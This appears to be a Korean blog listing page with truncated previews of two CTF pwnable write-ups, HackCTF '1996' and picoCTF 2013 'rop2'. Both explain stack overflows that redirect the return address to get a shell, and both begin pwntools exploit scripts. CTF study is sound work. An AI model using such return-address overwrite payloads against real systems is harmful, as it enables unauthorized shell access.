RET(2)
-
HACKCTF - 1996
pwnable문제입니다. 1996 파일 하나 주는데 해당 파일을 실행시켜보면 이렇게 인풋하나를 받고 다시 출력시켜줍니다. 16번째 줄을보면 해당중에서 name을 받고 shell을 띄워주는 함수가 있으니 ret를 여기로 주면 될 것 같습니다. 페이로드는 아래와 같습니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * r = remote("ctf.j0n9hyun.xyz", 3013) #r = process("./1996") e = ELF("./1996") context.log_level = "debug" shell = 0x0000000000400897 r.recvuntil("? ") payload = "" payload += "A"*0x410..
2020.08.06 -
[pico CTF 2013] rop2
pico CTF 2013 ROP2번문제입니다.보호기법 체크하기! IDA로 까서 취약점을 찾아보겠습니다. 이전문제하고 똑같은 취약점이군요 ㅎㅎ쉽게 풀릴 것 같아서 not_called함수로 들어가보겠습니다. 어라... "/bin/bash"가 아니라 "/bin/data"로 바뀌어있네요.당황 ㅋㅋㅋㅋ조금더 살펴보니 system함수를 내부에서 호출하니, system함수로 ret를 주고, 인자로 "/bin/sh"를 주면 될 것 같습니다. system주소 찾고, "/bin/bash"가젯 찾고, payload 작성하면? 1234567891011121314151617181920from pwn import * r = process("./rop2")system_plt = 0x80483a0shell = 0x08048610 p..
2018.08.16